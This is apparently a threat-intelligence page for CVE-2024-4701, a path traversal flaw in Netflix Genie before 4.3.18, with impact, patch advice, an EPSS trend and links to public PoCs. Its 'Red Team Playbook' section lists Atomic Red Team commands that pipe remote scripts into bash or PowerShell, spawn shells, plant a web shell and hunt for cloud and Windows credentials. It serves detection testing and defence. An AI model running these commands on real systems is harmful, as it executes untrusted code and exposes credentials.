CVE-2024-4701
Overview
This vulnerability is a path traversal flaw rooted in improper input validation within Netflix Genie's file handling routines. The affected component fails to sanitize user-supplied file path parameters, allowing crafted requests to access unintended filesystem locations. This occurs in all Genie versions prior to 4.3.18, specifically impacting the file resolution mechanism responsible for resource loading and management.
Vulnerability Description
A path traversal issue potentially leading to remote code execution in Genie for all versions prior to 4.3.18
Impact
An attacker with low-level privileges can leverage this vulnerability to execute arbitrary code remotely by accessing and manipulating critical files outside the intended directories. The exploit requires network access and minimal privileges (PR:L), with no user interaction needed (UI:N). The vulnerability impacts confidentiality, integrity, and availability (C:H/I:H/A:L) of the system, enabling unauthorized data access and potential service disruption. The critical CVSS score of 9.9 reflects the high severity and ease of exploitation under these conditions.
Solution
Netflix has released an official patch in version 4.3.18 of Genie addressing the path traversal vulnerability by implementing strict input validation and path normalization. Users should upgrade to Genie 4.3.18 or later as detailed in the Netflix security advisory NFLX-2024-001 (https://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2024-001.md). No alternative workarounds are recommended; applying the vendor-provided patch is the definitive remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question is characterized by a path traversal issue that can potentially lead to remote code execution within the Genie software, affecting all versions prior to 4.3.18. Path traversal vulnerabilities occur when an application does not properly validate user input, allowing an attacker to manipulate file paths and access restricted directories or files on the server. In this case, the flaw can be exploited by crafting specific requests that traverse the file system, enabling unauthorized access to sensitive files or execution of arbitrary code. This type of vulnerability is particularly critical because it can allow an attacker to gain control over the affected system, leading to severe consequences.
Attack vectors for this vulnerability are varied and can be executed through multiple means, including web interfaces or API endpoints that fail to sanitize user input. An attacker could exploit this flaw by sending specially crafted requests that include directory traversal sequences, such as "../", to access files outside the intended directory. Once access is gained, the attacker could upload malicious scripts or execute existing files with elevated privileges, ultimately leading to remote code execution. Scenarios may include an attacker gaining access to configuration files, sensitive data, or even system binaries, which can be leveraged to escalate privileges or pivot to other systems within the network.
The real-world impact of this vulnerability is significant, particularly for organizations relying on Genie for their operations. The high CVSS score of 9.9 indicates a critical risk level, suggesting that successful exploitation could lead to complete system compromise. Businesses may face severe operational disruptions, data breaches, and reputational damage as a result of an attack. Furthermore, regulatory fines and legal liabilities may arise if sensitive data is exposed or if the organization fails to comply with data protection regulations. The financial implications of such incidents can be staggering, encompassing recovery costs, loss of customer trust, and potential lawsuits.
To detect and mitigate this vulnerability, organizations should implement several strategies. First and foremost, upgrading to the latest version of Genie, specifically version 4.3.18 or later, is crucial as it addresses this security flaw. Additionally, organizations should conduct regular security assessments, including penetration testing and code reviews, to identify and remediate similar vulnerabilities in their applications. Employing web application firewalls (WAFs) can also provide an additional layer of protection by filtering out malicious requests that attempt to exploit path traversal vulnerabilities. Furthermore, implementing strict input validation and sanitization practices can significantly reduce the risk of such vulnerabilities being exploited in the first place.
In conclusion, the path traversal vulnerability in Genie represents a critical security risk that can lead to severe consequences for affected organizations. The potential for remote code execution underscores the importance of maintaining up-to-date software and implementing robust security measures. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against potential exploitation and safeguard their systems and data.
CSURFACE threat intelligence has identified a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-4701, rising by approximately 13% to place it near the 96th percentile of exploit likelihood. This upward adjustment reflects a growing confidence in the feasibility and imminence of exploitation attempts, corroborated by the emergence of additional proof-of-concept exploits publicly available on GitHub. While the trend over the past week shows a slight increase rather than a rapid surge, the elevated EPSS score signals that threat actors are increasingly prioritizing this vulnerability, likely due to its critical severity and potential for remote code execution in widely deployed Netflix Genie versions. For defenders, this shift underscores a heightened risk environment where opportunistic exploitation could become more frequent, especially as adversaries refine their attack techniques leveraging the newly accessible exploit code. Consequently, the threat level for CVE-2024-4701 should be considered elevated, warranting continued vigilance and monitoring to detect early signs of active exploitation campaigns.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
JoeBeeton/CVE-2024-4701-POC
POC for CVE-2024-4701
|
JoeBeeton | 2 | 0 | 2024-05-13 | View |
|
JinhyukKo/CVE-2024-4701-POC
|
JinhyukKo | 1 | 0 | 2025-09-12 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-4701 |
| github.com |
GitHub CVE
|
https://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2024-001.md |